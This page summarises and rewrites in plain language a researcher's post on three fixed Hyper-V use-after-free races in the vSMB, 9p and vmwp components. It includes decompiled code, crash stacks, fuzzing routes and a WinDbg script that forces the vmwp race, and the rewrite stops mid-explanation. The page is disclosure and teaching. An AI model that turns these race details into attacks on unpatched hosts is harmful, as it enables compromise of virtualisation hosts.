Bi/ug Bounties and HyperV RCE Research
The post describes several use-after-free race conditions in Hyper-V components (vmusrv, vp9fs, vmwp) that were found through fuzzing and fixed as CVEs. An attacker able to send crafted packets or control VM lifecycle operations could trigger memory corruption, which the author classifies as RCE.
Published on rezer0dai.github.io
This is a post I should have posted a long time ago, but I didn’t because of various reasons: laziness, lack of time, greed, eating bananas, composting shits, kind of burnout, ego to make it to BH USA first (and been screwed each time with different set of Hyper-V RCEs 4 times in a row ahaha; just a reference to…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is the first post in a series by Peter Hlavaty (@rezer0dai) about remote code execution bugs in scope for the Microsoft Hyper-V Bounty Program. The stated aim is to study the state of Hyper-V vulnerability research: the state of the code, the types of bugs, the complexity of reaching or detecting them, the author's view on recent confusion about what is in scope and why, and examples of setbacks with large bounties. The author says all bugs discussed in the post are fixed.
The components discussed are:
vmusrv.dll, responsible for efficient file sharing from host to guest for Windows based containers (vSMB).vp9fs.dll, responsible for efficient file sharing from host to guest for Linux based containers (9p).vmwp.exe, the main process per VM, which loads DLLs such asvmusrv.dllorvp9fs.dlland communicates with drivers such as vid and vmswitch.
The author notes that the highlighted bugs were focused on the containers part of the Hyper-V bounty, Tier-2. The author notes that most of his bugs are races, due to the nature of his fuzzing, but that Hyper-V is not an easy garden for data format bugs either.
Setup
The report does not describe a formal lab setup with versions, accounts or roles. What it does give is how each target was reached for fuzzing:
- For vSMB: docker plus a tool that rewrites packets, linked as
proxyserveron GitHub, or loadingvmusrv.dllas a standalone library, referencing the JPEG2000 talk on fuzzing a DLL on Linux and the hAFL1 work on fuzzing VMSwitch without Hyper-V. - For 9p: tinkering with the Linux kernel
trans_fd.ccode to allow sending packets from the fuzzer, or again loading and fuzzing standalone. - For
vmwp.exe: Hyper-V cmdlets, with the observation that turning a VM on and off is something an attacker can do, and that an Azure attack is not a Pwn2Own attack.
The author also gives a WinDbg script as a proof of concept for the vmwp race, shown under Exploitation below.
Finding it
The author describes three findings, each with a different discovery route.
vSMB: found through code coverage
The vSMB bug, CVE-2020-17095, was found while analysing code coverage reports and spotting uncovered interesting code blocks. The author's general advice is to look for cancel, flush, remove or other early drop of packet logic in the target: if those have not been fuzzed yet, they usually are a bull's eye.
9p: found by brute force
For the 9p bug, CVE-2021-26867, the author says that when doing code coverage you are restricted to a few dozen calls due to reproducibility, and you want as many calls enabled as possible (open, close, flush, cancel, write, seek, attr and so on). Sometimes brute force and extreme cases do the job. He calls it dummy fuzzing, shame on him: the total call limit was raised to several thousands, with filtering of calls so that only a subset of calls is called per run, and sometimes several fuzzers are run at once for one target, though not necessarily in this case.
vmwp: found as a by-product of fuzzing at scale
The vmwp.exe bug, CVE-2021-28314, was found through automation, which the author describes as essentially a by-product while fuzzing at scale. He defers the full discussion of what fuzzing is and why automation is essential to the next post, and sums this one up as "lucky me".
Exploitation
Step 1: vSMB cancel and ChangeNotify race (CVE-2020-17095)
The target is Smb2ExecuteCancel in vmusrv.dll. The decompiled logic the author shows is:
long Smb2ExecuteCancel(_SRV_WORK_ITEM *param_1)
{
SrvCancelWorkItem((_SRV_WORK_ITEM *)piVar2,2); // here can deref UAF too
LOCK();
iVar1 = *piVar2;
*piVar2 = *piVar2 + -1; // refcounter
if (iVar1 == 1) { // boom
SrvFreeWorkItem((_SRV_WORK_ITEM *)piVar2);
-> long Smb2CleanupWorkItem(_SRV_WORK_ITEM *param_1)
-> Remove((RfsTable ptr ptr)(p_Var5 + 0x28),(uint)uVar6,false); // unreferenced from list after item marked for deletion -> ref counter == 0
The comment marks the decrement of the refcounter and the free that follows when the previous value was 1. The cleanup path removes the item from a list after the item is marked for deletion, at which point the ref counter is 0.
The author says it took him longer to dig this one out because he missed the sync/async flag of the additional cancel packet functionality in the documentation. The validation path is:
long Smb2ValidateCancel(_SRV_WORK_ITEM param_1)
{
…
if (((byte)p_Var7[0x10] & 2) == 0) { // sync
…
else { // async
if ((ulonglong )(p_Var7 + 0x20) < 0x100000000) {
pvVar8 = Lookup((RfsTable *)(p_Var6 + 0x28),(uint)(ulonglong *)(p_Var7 + 0x20));
}
void * __thiscall Lookup(RfsTable *this,uint param_1)
{
void *pvVar1;
AcquireSRWLockShared((PSRWLOCK)this);
pvVar1 = (void *)0x0;
if ((((param_1 != 0) && (param_1 < *(uint *)(this + 0x3c) || param_1 == *(uint *)(this + 0x3c)))
&& (pvVar1 = *(void *)((longlong *)(this + 8) + (ulonglong)(param_1 - 1) * 8),
pvVar1 != (void )0x0)) && ((code **)(this + 0x48) != (code *)0x0)) {
(**(code **)(this + 0x48))();
}
ReleaseSRWLockShared((PSRWLOCK)this);
return pvVar1; // we return plain ptr in async manner
}
The Lookup function takes a shared SRW lock, indexes a table by param_1 - 1, and returns a plain pointer. The author's comment notes that the pointer is returned in an async manner.
The root cause, as the author states it: you can race ChangeNotify and async Cancel packets. ChangeNotify will try to delete the object as the refcount of its work item drops to 0, but Cancel can race this process while the work item is still found in the lookup list. The later execution of the Cancel packet (the async flag was set, and the first phase was just validation of the Cancel packet and looking up, taking the refcounting from 0 back to 1) will then dereference the freed work item. At first sight it all seemed good: refcounting in place, locking too. But the author flags the strange logic of removing an object from a list from the object's own destructor, and notes that it is interesting that an object with refcount 0 can be acquired once it has already acquired refcount of at least 1.
How he fuzzed it: adding a particular flag to the Cancel packet and letting automation do its job, hitting in 5 minutes. He says he looked at that logic with his own eyes before triggering it with the fuzzer and did not find it. The crash site shown is:
vmusrv!SrvFreeWorkItem+0x1bc:
00007ffbc1b127f8 4c397f50 cmp qword ptr [rdi+50h],r15 ds:000002109cd3ed40=????????????????
How to reach it for fuzzing: docker plus vSMB packet rewriting, or loading vmusrv.dll as a standalone library, as in the referenced JPEG2000 and hAFL1 material.
As a bonus, the author describes an older vSMB bug: open a vSMB file, get a predictable file handle, and race open and close with the predictable handle. The CVE is forgotten, around 2018. He fuzzed it by understanding the target (predictable handle, and the packet being tied to file handles) and adding quirks to the fuzzing: prediction of the handle before its creation, and dangling handles. He was not especially focused on that logic, just taking it into account, because fuzzing is specific per target.
Step 2: 9p flush exception unwinding (CVE-2021-26867)
The target is vp9fs.dll. Again the author points at Remove:
void operator()( param_1)
…:
TVar2 = operator()(this); // Remove RequestInfo from LinkedList
-> void __thiscall Remove(LinkedList<struct_p9fs::Handler::RequestInfo> *this,RequestInfo *param_1)
…
~((longlong)(param_1 + 0xb0)); // Free RequestInfo*
He notes that this looks especially solid, and the order remove then delete looks good. The problem is that for Remove to actually happen, the call stack must look like this:
FLUSH_ENTRYYY
rcx=000001faa4395ef0
REMOVE
rcx=000001faa1158f10
rdx=000001faa4192fe0
Child-SP RetAddr Call Site
00000022`2e97e618 00007ffc`b93d83c0 vp9fs!p9fs::util::LinkedList<p9fs::Handler::RequestInfo>::Remove
00000022`2e97e620 00007ffc`b93d61c3 vp9fs!p9fs::Handler::ProcessMessage$_ResumeCoro$2+0x1240
00000022`2e97ec40 00007ffc`b93afa34 vp9fs!p9fs::Handler::ProcessMessage$_InitCoro$1+0x12f
00000022`2e97ece0 00007ffc`b93cc061 vp9fs!p9fs::Handler::ProcessMessage+0x68
00000022`2e97f140 00007ffc`b93cbcc4 vp9fs!<[redacted]>$_ResumeCoro$2::operator()+0x341
00000022`2e97f410 00007ffc`b93afd56 vp9fs!<[redacted]>$_InitCoro$1::operator()+0xd0
00000022`2e97f480 00007ffc`b93caa73 vp9fs!<[redacted]>::operator()+0x46
00000022`2e97f5f0 00007ffc`b93a6a32 vp9fs!<[redacted]>$_ResumeCoro$2::operator()+0xd3
00000022`2e97f7e0 00007ffc`b93bf641 vp9fs!p9fs::Scheduler::RunAndRelease+0xbe
00000022`2e97f820 00007ffc`cec631e0 vp9fs!p9fs::CoroutineIoIssuer::Callback+0x71
00000022`2e97f850 00007ffc`d0feecd9 KERNELBASE!BasepTpIoCallback+0x50
00000022`2e97f8a0 00007ffc`d0fc2536 ntdll!TppIopExecuteCallback+0x129
00000022`2e97f920 00007ffc`cfa27034 ntdll!TppWorkerThread+0x456
00000022`2e97fc20 00007ffc`d0ffcec1 KERNEL32!BaseThreadInitThunk+0x14
00000022`2e97fc50 00000000`00000000 ntdll!RtlUserThreadStart+0x21
FREE
rbx=000001faa4196fb8
rcx=000001faa4192fe0
Child-SP RetAddr Call Site
00000022`2e97f5c0 00007ffc`b93cb08c vp9fs!<[redacted]>::~<[redacted]>+0xd
00000022`2e97f5f0 00007ffc`b93a6a32 vp9fs!<[redacted]>$_ResumeCoro$2::operator()+0x6ec
00000022`2e97f7e0 00007ffc`b93bf641 vp9fs!p9fs::Scheduler::RunAndRelease+0xbe
00000022`2e97f820 00007ffc`cec631e0 vp9fs!p9fs::CoroutineIoIssuer::Callback+0x71
00000022`2e97f850 00007ffc`d0feecd9 KERNELBASE!BasepTpIoCallback+0x50
00000022`2e97f8a0 00007ffc`d0fc2536 ntdll!TppIopExecuteCallback+0x129
00000022`2e97f920 00007ffc`cfa27034 ntdll!TppWorkerThread+0x456
00000022`2e97fc20 00007ffc`d0ffcec1 KERNEL32!BaseThreadInitThunk+0x14
00000022`2e97fc50 00000000`00000000 ntdll!RtlUserThreadStart+0x21
The author notes that the call stack is quite deep to actually reach Remove, but here comes the magic of C++ and throwing exceptions before reaching Remove. The resulting stack is:
FLUSH_ENTRYYY
rcx=000001faa43a1ef0
onecore\vm\dv\storage\plan9\dll\windows\p9io.cpp(128)\vp9fs.dll!00007FFCB93DFFCF: (caller: 00007FFCB93DF71A) Exception(1) tid(f9c) 800703E3 The I/O operation has been aborted because of either a thread exit or an application request.
(6c0.f9c): C++ EH exception - code e06d7363 (first chance)
(6c0.f9c): C++ EH exception - code e06d7363 (first chance)
(6c0.f9c): C++ EH exception - code e06d7363 (first chance)
(6c0.f9c): C++ EH exception - code e06d7363 (first chance)
onecore\vm\dv\storage\plan9\dll\p9handler.cpp(1039)\vp9fs.dll!00007FFCB93E562B: (caller: 00007FFCB93CBCC4) LogHr(1) tid(f9c) 800703E3 The I/O operation has been aborted because of either a thread exit or an application request.
Msg:[onecore\vm\dv\storage\plan9\dll\windows\p9io.cpp(128)\vp9fs.dll!00007FFCB93DFFCF: (caller: 00007FFCB93DF71A) Exception(1) tid(f9c) 800703E3 The I/O operation has been aborted because of either a thread exit or an application request.
]
FREE
rbx=000001faa41a2fb8
rcx=000001faa419efe0
Child-SP RetAddr Call Site
00000022`2e97f5c0 00007ffc`b93cb08c vp9fs!<[redacted]>::~<[redacted]>+0xd
00000022`2e97f5f0 00007ffc`b93a6a32 vp9fs!<[redacted]>$_ResumeCoro$2::operator()+0x6ec
00000022`2e97f7e0 00007ffc`b93bf641 vp9fs!p9fs::Scheduler::RunAndRelease+0xbe
00000022`2e97f820 00007ffc`cec631e0 vp9fs!p9fs::CoroutineIoIssuer::Callback+0x71
00000022`2e97f850 00007ffc`d0feecd9 KERNELBASE!BasepTpIoCallback+0x50
00000022`2e97f8a0 00007ffc`d0fc2536 ntdll!TppIopExecuteCallback+0x129
00000022`2e97f920 00007ffc`cfa27034 ntdll!TppWorkerThread+0x456
00000022`2e97fc20 00007ffc`d0ffcec1 KERNEL32!BaseThreadInitThunk+0x14
00000022`2e97fc50 00000000`00000000 ntdll!RtlUserThreadStart+0x21
In other words, the code bubbles out from an exception (an overload of packets) without removing the struct from the list, but deleting it anyway. The root cause as stated: when exception unwinding happens, it is forgotten to handle proper removal of the object from the list, but at the same time free is done correctly. The crash site shown is:
vp9fs!p9fs::Handler::HandleFlush$_ResumeCoro$2+0x48c:
00007ff8e2df033c 0fb74918 movzx ecx,word ptr [rcx+18h] ds:000002542129dff8=????
How to reach it for fuzzing: tinker with the Linux kernel trans_fd.c code to allow sending packets from the fuzzer, or again load and fuzz standalone.
Step 3: vmwp teardown and VND callback race (CVE-2021-28314)
The target is vmwp.exe. The author gives two hints, one about refcounting and one about locking.
The refcounting hint is the Teardown function:
void __thiscall Teardown(VirtualMachine * this)
1400513bd:
this_00 = *(WorkerCpuidHandler **)(this + 0x240);
if (this_00 != (WorkerCpuidHandler *)0x0) {
puVar7 = *(undefined8 **)(this_00 + 0x30);
while (puVar7 != *(undefined8 **)(this_00 + 0x38)) {
(**(code **)(*(longlong *)(*(longlong *)(this_00 + 0x10) + 8) + 0x38))
((longlong *)(*(longlong *)(this_00 + 0x10) + 8),*puVar7);
puVar7 = puVar7 + 1;
}
*(undefined8 *)(this_00 + 0x38) = *(undefined8 *)(this_00 + 0x30);
TeardownRegisteredResults(this_00);
pIVar5 = (IMetricManager *)(*(longlong *)(this + 0x240) + 8);
DecrementUserCount((VmSharableObject *)
((type_info *)pIVar5 +
*(int *)(*(longlong *)(*(longlong *)(this + 0x240) + 8) + 4)),
(type_info *)pIVar5);
*(undefined8 *)(this + 0x240) = 0;
}
...
00007ff78836ad25 vmwp!WorkerCpuidHandler::`vector deleting destructor'+0x0000000000000035
00007ff7883266ca vmwp!Vml::VmSharableObject::OnLastContainedObjectRemoved+0x000000000000001e
00007ff788322fbf vmwp!Vml::VmSharableObject::DecrementContainedObjectCount+0x000000000000007b
00007ff78832307d vmwp!Vml::VmSharableObject::DecrementWeakUserCount+0x000000000000009d
00007ff788319011 vmwp!Vml::VmSharableObject::DecrementUserCount+0x000000000000630d
00007ff78836141c vmwp!VirtualMachine::Teardown+0x00000000000001d0
00007ff78832973a vmwp!WorkerModule::TeardownVirtualMachine+0x00000000000000ae
00007ff788326bb2 vmwp!WorkerModule::OnVirtualMachinePostFunctional+0x0000000000000012
00007ff7883237fd vmwp!Vml::VmMethodDelegate<WorkerModule,void,Vml::VmReferencePtr<Vml::VmSharableObject,Vml::VmWeakReferenceTraits> >::Execute+0x000000000000002d
00007ff788325b65 vmwp!Vml::VmDispatchContext::Invoke+0x000000000000001d
00007ff788358f6d vmwp!Vml::VmOrderedDispatcher::ProcessQueue+0x000000000000002d
00007ff78835138d vmwp!Vml::VmMethodDelegate<Vml::VmOrderedThreadpoolDispatcher,void>::Execute+0x000000000000005d
00007ff7883238bb vmwp!Vml::VmNewThreadpool::FastDispatchWorkCallback+0x000000000000001b
00007fffcdfd39c0 ntdll!TppWorkpExecuteCallback+0x0000000000000130
00007fffcdf8276a ntdll!TppWorkerThread+0x000000000000068a
00007fffcc1e7034 kernel32!BaseThreadInitThunk+0x0000000000000014
00007fffcdfbcec1 ntdll!RtlUserThreadStart+0x0000000000000021
The locking hint is HandleVndCallback and UnprepareSelf:
HandleVndCallback(VndCompletionHandler *this,void *param_1,_VID_MSG_DATA *param_2, _VID_MSG_RETURN_DATA *param_3)
140149ee2:
if (uVar10 != 0x1000010) {
this_00 = *(VmSharableObject **)(param_2 + 8);
*(undefined8 *)(param_2 + 8) = *(undefined8 *)(this_00 + 0x78);
if ((((uVar10 == 1) || (uVar10 == 7)) || (uVar10 == 9)) ||
((0x1000001 < (int)uVar10 &&
(((int)uVar10 < 0x1000004 ||
((0x100000d < (int)uVar10 && (((int)uVar10 < 0x1000010 || (uVar10 == 0x1000011)))))
))))) {
ppcVar12 = *(code ***)(this_00 + 0x80);
if ((uVar10 - 7 & 0xfffffffd) == 0) {
*local_68 = 0;
local_c8 = CONCAT44(local_c8._4_4_,0xffffffff);
ppuVar13 = (undefined **)&DAT_00000002;
iVar8 = VidHandleMessageAndGetNextMessage(param_1,2,&local_68);
if (iVar8 == 0) {
ppuVar13 = (undefined **)0x26e;
Log_Hr(local_res0,0x26e,
"onecore\\vm\\worker\\vidpartition\\vndcompletionhandler.cpp",-0x7fff0001);
iVar8 = VmlIsDebugTraceEnabled(0);
if (iVar8 != 0) {
ppuVar13 = &PTR_u_Unexpected_erro_140195b28;
VmlDebugTraceEx(0);
}
}
DecrementUserCount(this_00,(type_info *)ppuVar13);
}
void __thiscall UnprepareSelf(VND_HANDLER_CONTEXT *this)
{
type_info *in_RDX;
if (*(int *)(this + 0x88) != 0) {
in_RDX = *(type_info **)(this + 0x78);
(**(code **)(**(longlong **)(this + 0x80) + 0x28))(); //-> vmwp!Vml::VmSharableObject::DecrementUserCount
}
000000e2`82eff500 00007ff7`88459d2e vmwp!Vml::VmSharableObject::DecrementUserCount+0x59
000000e2`82eff530 00007ff7`88329a6a vmwp!VND_HANDLER_CONTEXT::UnprepareSelf+0x2e
000000e2`82eff560 00007ff7`883267b0 vmwp!Vml::VmSharableObject::Unprepare+0x1e
000000e2`82eff590 00007ff7`88319009 vmwp!Vml::VmSharableObject::OnLastUserRemoved+0x94
000000e2`82eff5d0 00007ff7`8845a057 vmwp!Vml::VmSharableObject::DecrementUserCount+0x6305
000000e2`82eff600 00007ff7`8845b5ac vmwp!VndCompletionHandler::HandleVndCallback+0x227
000000e2`82eff6f0 00007ff7`8845ac69 vmwp!VndCompletionThread::RunSelf+0x10c
000000e2`82eff760 00007fff`cb9b14c2 vmwp!Vml::VmThread::OnRunThread+0x19
000000e2`82eff790 00007fff`ba186a74 ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x42
000000e2`82eff7c0 00007fff`cc1e7034 vfbasics!AVrfpStandardThreadFunction+0x44
000000e2`82eff800 00007fff`cdfbcec1 kernel32!BaseThreadInitThunk+0x14
000000e2`82eff830 00000000`00000000 ntdll!RtlUserThreadStart+0x21
The root cause as the author interprets it: read only state is a beautiful concept he aspires to, but it can have dangers once the design is not ready for it. In this case the developer can see read-only access at HandleCallback and skip doing any lock at all, but in the background there is refcounting. So it may not be obvious for a developer to include a write lock here. But refcounting can race too. The crash site shown is:
vmwp!Vml::VmSharableObject::DecrementUserCount+0x59:
00007ff7`88312d5d 488b07 mov rax,qword ptr [rdi] ds:00000210`a424bfb0=????????????????
How he fuzzed it: automation, essentially a by-product while fuzzing at scale. He says the discussion of what fuzzing is and why automation is an essential part of fuzzing efforts will be in the next post, and sums this one up as "lucky me".
How to reach it for fuzzing: Hyper-V cmdlets, because turning a VM on and off is something an attacker can do, and an Azure attack is not a Pwn2Own attack. The author notes this is always on the edge, and points to the February 23, 2021 revision at the bottom of the Hyper-V bounty page for turn-off bugs.
Step 4: proof of concept WinDbg script for the vmwp race
The author gives a script as an example of how to make race conditions better demonstrate for repro. The second part of the PoC is turn on plus off VM.
.childdbg 1
g
.logopen sharablebuggy.txt;
r @$t1 = 0
bp vmwp!VirtualMachine::InitInterceptHandlers+0x154 "r @$t1 = @rax+60; g"
bp vmwp!Vml::VmSharableObject::DecrementUserCount+0x59 ".if(@$t1==@rdi+10){.echo RACER_1_FREEZED; bd 1 2; be 4; dqs rdi; r rip = vmwp!Vml::VmSharableObject::DecrementUserCount-2; eb rip eb fe}.else{}; g"
bp vmwp!Vml::VmSharableObject::DecrementUserCount-2 ".echo RACER_1_RESUMED___UAF_TRIGGER; r rip = vmwp!Vml::VmSharableObject::DecrementUserCount+0x59; g"
bu vmwp!VirtualMachine::Teardown+0x1d0-5 ".echo RACER_2_TEARDOWN_FREEZED; bd 3; r rip = vmwp!VirtualMachine::Teardown-2; eb rip eb fe; g"
bp vmwp!VirtualMachine::Teardown-2 ".echo RACER_2_TEARDOWN_RESUMED; r rip = vmwp!VirtualMachine::Teardown+0x1d0-5; g"
bp vmwp!VirtualMachine::Teardown+0x1d0 ".echo [redacted]; be 2; g"
g
The script sets a breakpoint on VirtualMachine::InitInterceptHandlers+0x154 to record a pointer in @$t1, then freezes the first racer at DecrementUserCount+0x59 when @$t1 matches @rdi+10, dumping the pointer and spinning on the same instruction. A second breakpoint on DecrementUserCount-2 resumes the first racer and jumps back to the crash instruction. A breakpoint on Teardown+0x1d0-5 freezes the second racer, a breakpoint on Teardown-2 resumes it, and a breakpoint on Teardown+0x1d0 marks the teardown as finished and re-enables the first racer, which is when the use after free is triggered.
Root cause
Across the three bugs the author identifies the same class of mistake: object lifetime handled by refcounting and list membership, with a window where the two disagree.
- vSMB:
ChangeNotifydeletes the object when the work item refcount drops to 0, while an asyncCancelcan still find the work item in the lookup list and take the refcount from 0 back to 1. The later phase of theCancelpacket then dereferences the freed work item. The author highlights the strange logic of removing an object from a list from the object's own destructor, and that an object with refcount 0 can be acquired once it has already acquired refcount of at least 1. - 9p: when exception unwinding happens, the code forgets to remove the object from the list, but still frees it. The remove then delete order is correct on the normal path, but the exception path skips the remove.
- vmwp: a read-only access path at
HandleCallbackskips locking, but refcounting still happens in the background, so the refcount can race.
The author notes that in all cases the code looks solid and well thought over, and that each bug has some hidden quirk to reach. He also notes that these bugs were not in the obvious fuzzing target logic (files) but at the upper level (work items and packet handling), and that for these bugs using a code coverage based fuzzer can shoot you in the foot at the very least, while code coverage can play an essential role if used appropriately, hinting at weak points of the fuzzer rather than the main logic.
Impact
The author's highlights note says all of them are RCE plus UAF. The author says the highlighted bugs were focused on the containers part of the Hyper-V bounty, Tier-2. The report does not give CVSS scores or a detailed exploitation narrative beyond the crash sites and the race descriptions. The vSMB and 9p bugs are in host to guest file sharing components for Windows based and Linux based containers respectively, and the vmwp bug is in the per-VM main process. The author notes that most of his bugs are races due to the nature of his fuzzing.
Fix
The author states at the top of the bug section that all bugs discussed in the post are fixed.
Variants to test
- Cancel, flush, remove and other early drop of packet logic in any file sharing or RPC style target. A positive result is a work item that can be looked up after its refcount has reached 0, visible as a lookup returning a pointer that is later dereferenced after free.
- Sync versus async flags on cancel style packets. A positive result is a validation phase that takes a reference and a later execution phase that uses the pointer without revalidating it.
- Exception unwinding paths in C++ coroutine based handlers. A positive result is a stack where the destructor runs and frees the object while the remove from the list never appears in the call stack.
- Read-only access paths that skip locking while refcounting still happens in the background. A positive result is a decrement of a user count racing with a teardown that frees the same object.
- Predictable file handles combined with open and close races, as in the older vSMB bonus bug. A positive result is a dangling handle that is still usable after close.
- Raising the total call limit in coverage guided fuzzing to several thousands and filtering calls per run, as the author did for 9p. A positive result is a crash that only appears with long call sequences.
Closing notes
The author also discusses bounty setbacks: NetBios CVE-2017-0161, SMB2 CVE-2020-17096 (post-auth SMB2 with unsigned packets, paid 5k), Vid.sys CVE-2017-8664 (his first Hyper-V Tier-1 RCE, price tag 50k at the time, later 150), the containers bugs (25k, with the price tag raised to 100k a few months later), RFG and CFG mitigation bypass bounties, and turn-off Hyper-V vulnerabilities considered Tier-3 until proven exploitable. He notes that about 3 of his recent bugs were marked out of scope, and that he reported about 10 Tier-1 bugs recently, including RCEs, memory reads and DoSes, on new attack surface but also traditional one.

The image above sits where the author contrasts the highlighted Tier-2 container bugs with the roughly 10 recent Tier-1 bugs he reported, which included RCEs, memory reads and DoSes.
He argues that the out-of-scope list (NetBios, RDP via enhanced session, WSL2 specifics, RemoteFX, SMB/NTFS kernel bugs direct or through vSMB, WDAG) consists of specific edge cases for particular usage, and asks how much impact they have for the Microsoft core business model, Azure, and whether triggering from the cloud really means it is a Hyper-V design problem. He suggests asking Microsoft through email when the attack surface is unclear.

The image above is an email the author selected from Microsoft, picked from bugs he described in the post, presented as proof that they do deliver. The report does not reproduce the email text.
He thanks kostya for the public breakthrough research that inspired him, and Joe, Nico, Axel, Max and Marco for proof-reading, and Microsoft and MSRC for patience with him and his arguing, and for bounties.
What happened, in plain words
A security researcher, Peter Hlavaty (known online as @rezer0dai), wrote a blog post about three serious security bugs he found in Microsoft Hyper-V, the technology that lets one computer run several pretend computers (virtual machines, or VMs) at the same time. Microsoft runs a programme that pays people for finding such bugs, called a bug bounty. Two of the bugs were in components that share files between host and guest for containers; the third was in the per-VM main process.
The three bugs are:
- A bug in
vmusrv.dll, the component that shares files with Windows-based containers. It is tracked as CVE-2020-17095. - A bug in
vp9fs.dll, the component that shares files with Linux-based containers. It is tracked as CVE-2021-26867. - A bug in
vmwp.exe, the main process that runs for each virtual machine. It is tracked as CVE-2021-28314.
The author's highlights note says all of them are RCE plus UAF. RCE stands for remote code execution: an attacker can make the target computer run code of their choosing. UAF stands for use after free: the program keeps using a piece of memory after it has been handed back to the system, which can let an attacker control what happens next. The author says all the bugs in the post are fixed.
The post is also about how he found the bugs (mostly by fuzzing, which means feeding a program lots of semi-random inputs and watching for crashes), why some bugs were paid less than he hoped, and why some recent bugs were declared out of scope (not eligible for the bounty).
The pieces involved
Before the bugs, it helps to know what the named files do. The report describes them like this:
vmusrv.dll: responsible for efficient file sharing from host to guest for Windows-based containers. The protocol used is called vSMB (a virtualised version of SMB, the file-sharing protocol Windows uses).vp9fs.dll: responsible for efficient file sharing from host to guest for Linux-based containers. The protocol used is called 9p (a file-sharing protocol common in the Linux and Plan 9 world).vmwp.exe: the main process per VM. It loads DLLs such asvmusrv.dllorvp9fs.dlland talks to drivers such as vid and vmswitch.
The author says the highlighted bugs were focused on the containers part of the Hyper-V bounty, Tier-2. The author notes that most of his bugs are races (two things happening at almost the same time in a way the programmer did not expect), because of the nature of his fuzzing, but that Hyper-V is not an easy garden for data format bugs either (bugs where a malformed file or message is parsed incorrectly).
How he set up to find bugs
The report does not describe a formal lab with version numbers, user accounts or roles. What it does give is how each target was reached for fuzzing:
- For vSMB: docker (a tool for running containers) plus a tool that rewrites packets, linked as
proxyserveron GitHub, or loadingvmusrv.dllas a standalone library. He references the JPEG2000 talk on fuzzing a DLL on Linux and the hAFL1 work on fuzzing VMSwitch without Hyper-V. - For 9p: tinkering with the Linux kernel
trans_fd.ccode to allow sending packets from the fuzzer, or again loading and fuzzing standalone. - For
vmwp.exe: Hyper-V cmdlets (PowerShell commands that control Hyper-V), with the observation that turning a VM on and off is something an attacker can do, and that an Azure attack is not a Pwn2Own attack. Azure is Microsoft's cloud; Pwn2Own is a famous hacking contest.
The author also gives a WinDbg script as a proof of concept for the vmwp race, shown under Exploitation below. WinDbg is Microsoft's debugger, a tool that lets you pause a running program and inspect its memory.
Finding it
The author describes three findings, each with a different discovery route.
vSMB: found through code coverage
The vSMB bug, CVE-2020-17095, was found while analysing code coverage reports and spotting uncovered interesting code blocks. Code coverage is a measurement of which lines of a program were actually executed during a test run; lines that were never executed are a good place to look for bugs. The author's general advice is to look for cancel, flush, remove or other early drop of packet logic in the target: if those have not been fuzzed yet, they usually are a bull's eye.
9p: found by brute force
For the 9p bug, CVE-2021-26867, the author says that when doing code coverage you are restricted to a few dozen calls due to reproducibility (you need the same sequence to trigger the bug again), and you want as many calls enabled as possible (open, close, flush, cancel, write, seek, attr and so on). Sometimes brute force and extreme cases do the job. He calls it dummy fuzzing, shame on him: the total call limit was raised to several thousands, with filtering of calls so that only a subset of calls is called per run, and sometimes several fuzzers are run at once for one target, though not necessarily in this case.
vmwp: found as a by-product of fuzzing at scale
The vmwp.exe bug, CVE-2021-28314, was found through automation, which the author describes as essentially a by-product while fuzzing at scale. He defers the full discussion of what fuzzing is and why automation is essential to the next post, and sums this one up as "lucky me".
Exploitation
Step 1: vSMB cancel and ChangeNotify race (CVE-2020-17095)
The target is Smb2ExecuteCancel in vmusrv.dll. The decompiled logic the author shows is:
long Smb2ExecuteCancel(_SRV_WORK_ITEM *param_1)
{
SrvCancelWorkItem((_SRV_WORK_ITEM *)piVar2,2); // here can deref UAF too
LOCK();
iVar1 = *piVar2;
*piVar2 = *piVar2 + -1; // refcounter
if (iVar1 == 1) { // boom
SrvFreeWorkItem((_SRV_WORK_ITEM *)piVar2);
-> long Smb2CleanupWorkItem(_SRV_WORK_ITEM *param_1)
-> Remove((RfsTable ptr ptr)(p_Var5 + 0x28),(uint)uVar6,false); // unreferenced from list after item marked for deletion -> ref counter == 0
Line by line, in plain words:
long Smb2ExecuteCancel(_SRV_WORK_ITEM *param_1)is the name of the function and the fact that it takes a pointer to a work item. A work item is a small record of a job the program has to do, like a ticket in a queue.SrvCancelWorkItem((_SRV_WORK_ITEM *)piVar2,2);calls another function to cancel the work item. The comment says a use-after-free can happen here too.LOCK();takes a lock, a mechanism that stops two threads (two streams of execution inside the same program) from changing the same data at the same time.iVar1 = *piVar2;reads the current value of the reference counter. A reference counter is a number that says how many parts of the program are currently using an object; when it reaches zero, the object can be freed.*piVar2 = *piVar2 + -1;subtracts one from the counter.if (iVar1 == 1) { // boomchecks whether the counter was 1 before the subtraction, meaning it is now 0 and nobody is using the object any more.SrvFreeWorkItem((_SRV_WORK_ITEM *)piVar2);frees the work item, returning its memory to the system.- The arrow lines show that the cleanup path calls
Smb2CleanupWorkItem, which callsRemove, which takes the item out of a list. The comment says the item is unreferenced from the list after it is marked for deletion, at which point the reference counter is 0.
The author says it took him longer to dig this one out because he missed the sync/async flag of the additional cancel packet functionality in the documentation. Sync means the operation finishes before the next one starts; async means it starts now and finishes later. The validation path is:
long Smb2ValidateCancel(_SRV_WORK_ITEM param_1)
{
…
if (((byte)p_Var7[0x10] & 2) == 0) { // sync
…
else { // async
if ((ulonglong )(p_Var7 + 0x20) < 0x100000000) {
pvVar8 = Lookup((RfsTable *)(p_Var6 + 0x28),(uint)(ulonglong *)(p_Var7 + 0x20));
}
void * __thiscall Lookup(RfsTable *this,uint param_1)
{
void *pvVar1;
AcquireSRWLockShared((PSRWLOCK)this);
pvVar1 = (void *)0x0;
if ((((param_1 != 0) && (param_1 < *(uint *)(this + 0x3c) || param_1 == *(uint *)(this + 0x3c)))
&& (pvVar1 = *(void *)((longlong *)(this + 8) + (ulonglong)(param_1 - 1) * 8),
pvVar1 != (void )0x0)) && ((code **)(this + 0x48) != (code *)0x0)) {
(**(code **)(this + 0x48))();
}
ReleaseSRWLockShared((PSRWLOCK)this);
return pvVar1; // we return plain ptr in async manner
}
Line by line:
